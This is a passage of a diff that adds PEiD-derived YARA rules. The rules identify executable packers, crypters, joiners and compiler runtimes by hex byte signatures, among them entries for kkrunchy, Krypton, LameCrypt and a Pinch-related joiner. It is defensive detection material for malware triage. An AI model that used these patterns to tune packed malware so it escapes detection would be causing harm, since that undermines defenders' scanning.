+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00940_JAM_v2_11_
+{
+    meta:
+        description = "[JAM v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00941_JAR_Archive_
+{
+    meta:
+        description = "[JAR Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1A 4A 61 72 1B}
+    condition:
+        $a
+}
+
+rule PEiD_00942_JDPack_2_x____JDPack_
+{
+    meta:
+        description = "[JDPack 2.x -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00943_JDPack_V2_00____JDPack_
+{
+    meta:
+        description = "[JDPack V2.00 -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00944_JDPack_
+{
+    meta:
+        description = "[JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+    condition:
+        $a
+}
+
+rule PEiD_00945_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00946_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00947_JExeCompressor_V1_0____UsAr_
+{
+    meta:
+        description = "[JExeCompressor V1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00948_Joiner__sign_from_pinch_25_03_2007_20_10__
+{
+    meta:
+        description = "[Joiner (sign from pinch 25.03.2007 20:10)]"
+        ep_only = "true"
+    strings:
+        $a = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+    condition:
+        $a
+}
+
+rule PEiD_00949_KBys_Packer_0_28_Beta____Shoooo_
+{
+    meta:
+        description = "[KBys Packer 0.28 Beta -> Shoooo]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+    condition:
+        $a
+}
+
+rule PEiD_00950_Kbys_Packer_0_28_Beta___shoooo314_
+{
+    meta:
+        description = "[Kbys Packer 0.28 Beta-> shoooo314]"
+        ep_only = "false"
+    strings:
+        $a = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00951_KByS_V0_28____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+    condition:
+        $a
+}
+
+rule PEiD_00952_KByS_V0_28_DLL____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 DLL -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00953_KGB_SFX_
+{
+    meta:
+        description = "[KGB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_00954_KGCrypt_vx_x_
+{
+    meta:
+        description = "[KGCrypt vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00955_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+    condition:
+        $a
+}
+
+rule PEiD_00956_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00957_kkrunchy_0_23_alpha____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00958_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+    condition:
+        $a
+}
+rule PEiD_00959_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00960_kkrunchy_v0_17____F__Giesen_
+{
+    meta:
+        description = "[kkrunchy v0.17 -> F. Giesen]"
+        ep_only = "false"
+    strings:
+        $a = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00961_kkrunchy_V0_2X____Ryd___Sign_by_fly_
+{
+    meta:
+        description = "[kkrunchy V0.2X -> Ryd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+    condition:
+        $a
+}
+
+rule PEiD_00962_Krypton_v0_2_
+{
+    meta:
+        description = "[Krypton v0.2]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+    condition:
+        $a
+}
+
+rule PEiD_00963_Krypton_v0_3_
+{
+    meta:
+        description = "[Krypton v0.3]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00964_Krypton_v0_4_
+{
+    meta:
+        description = "[Krypton v0.4]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+    condition:
+        $a
+}
+
+rule PEiD_00965_Krypton_v0_5_
+{
+    meta:
+        description = "[Krypton v0.5]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+    condition:
+        $a
+}
+
+rule PEiD_00966_kryptor_5_
+{
+    meta:
+        description = "[kryptor 5]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00967_kryptor_6_
+{
+    meta:
+        description = "[kryptor 6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+    condition:
+        $a
+}
+
+rule PEiD_00968_kryptor_9_
+{
+    meta:
+        description = "[kryptor 9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00969_LamCrypt_1_0____LaZaRuS_
+{
+    meta:
+        description = "[LamCrypt 1.0 -> LaZaRuS]"
+        ep_only = "false"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00970_LameCrypt____LaZaRus_
+{
+    meta:
+        description = "[LameCrypt -> LaZaRus]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00971_LameCrypt_v1_0_
+{
+    meta:
+        description = "[LameCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+    condition:
+        $a
+}
+rule PEiD_00972_LamerStop_v1_0c__c__Stefan_Esser_
+{
+    meta:
+        description = "[LamerStop v1.0c (c) Stefan Esser]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+    condition:
+        $a
+}
+
+rule PEiD_00973_Lattice_C_v1_01_
+{
+    meta:
+        description = "[Lattice C v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00974_Lattice_C_v3_0_
+{
+    meta:
+        description = "[Lattice C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+    condition:
+        $a
+}
+
+rule PEiD_00975_LaunchAnywhere_4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere 4.0.0.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00976_LaunchAnywhere_v4_0_0_1_
+{
+    meta:
+        description = "[LaunchAnywhere v4.0.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+    condition:
+        $a
+}
+
+rule PEiD_00977_Launcher_Generator_1_03_
+{
+    meta:
+        description = "[Launcher Generator 1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00978_Launcher_Generator_v1_03_
+{
+    meta:
+        description = "[Launcher Generator v1.03]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00979_LCC_Win32_DLL_
+{
+    meta:
+        description = "[LCC Win32 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00980_LCC_Win32_v1_x_
+{
+    meta:
+        description = "[LCC Win32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_00981_LCC_Win32_
+{
+    meta:
+        description = "[LCC-Win32]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+    condition:
+        $a
+}
+
+rule PEiD_00982_LGLZ_v1_04__com_
+{
+    meta:
+        description = "[LGLZ v1.04 [com]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00983_LGLZ_v1_04b_
+{
+    meta:
+        description = "[LGLZ v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+    condition:
+        $a
+}
+
+rule PEiD_00984_Libraries_by_John_Socha_
+{
+    meta:
+        description = "[Libraries by John Socha]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00985_LOCK98_V1_00_28____keenvim_
+{
+    meta:
+        description = "[LOCK98 V1.00.28 -> keenvim]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? EB 05 E9 ?? ?? ?? ?? EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00986_Lockless_Intro_Pack_
+{
+    meta:
+        description = "[Lockless Intro Pack]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_00987_Lotus_Word_Pro_document_file_
+{
+    meta:
+        description = "[Lotus Word Pro document file]"
+        ep_only = "false"
+    strings:
+        $a = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+    condition:
+        $a
+}
+
+rule PEiD_00988_LSI_C_86_Run_Time_Libray_
+{
+    meta:
+        description = "[LSI C-86 Run-Time Libray]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+    condition:
+        $a
+}
+
+rule PEiD_00989_LTC_v1_3_
+{
+    meta:
+        description = "[LTC v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+    condition:
+        $a
+}
+
+rule PEiD_00990_LY_WGKX____www_szleyu_com_
+{
+    meta:
+        description = "[LY_WGKX -> www.szleyu.com]"
+        ep_only = "false"
+    strings:
+        $a = {4D 79 46 75 6E 00 62 73}
+    condition:
+        $a
+}
+rule PEiD_00991_LZEXE_v0_91__v1_00a__1__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (1)]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 1F 8B ?? ?? ?? 8B F1 4E 89 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00992_LZEXE_v0_91__v1_00a__2__
+{
+    meta:
+        description = "[LZEXE v0.91, v1.00a (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00993_Macromedia_Windows_Flash_Projector_Player_5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+    condition:
+        $a
+}
+rule PEiD_00994_Macromedia_Windows_Flash_Projector_Player_v3_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+    condition:
+        $a
+}
+
+rule PEiD_00995_Macromedia_Windows_Flash_Projector_Player_v4_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00996_Macromedia_Windows_Flash_Projector_Player_v5_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_00997_Macromedia_Windows_Flash_Projector_Player_v6_0_
+{
+    meta:
+        description = "[Macromedia Windows Flash Projector/Player v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00998_MarjinZ_EXE_Scrambler_SE___by_MarjinZ_
+{
+    meta:
+        description = "[MarjinZ EXE-Scrambler SE - by MarjinZ]"
+        ep_only = "false"
+    strings:
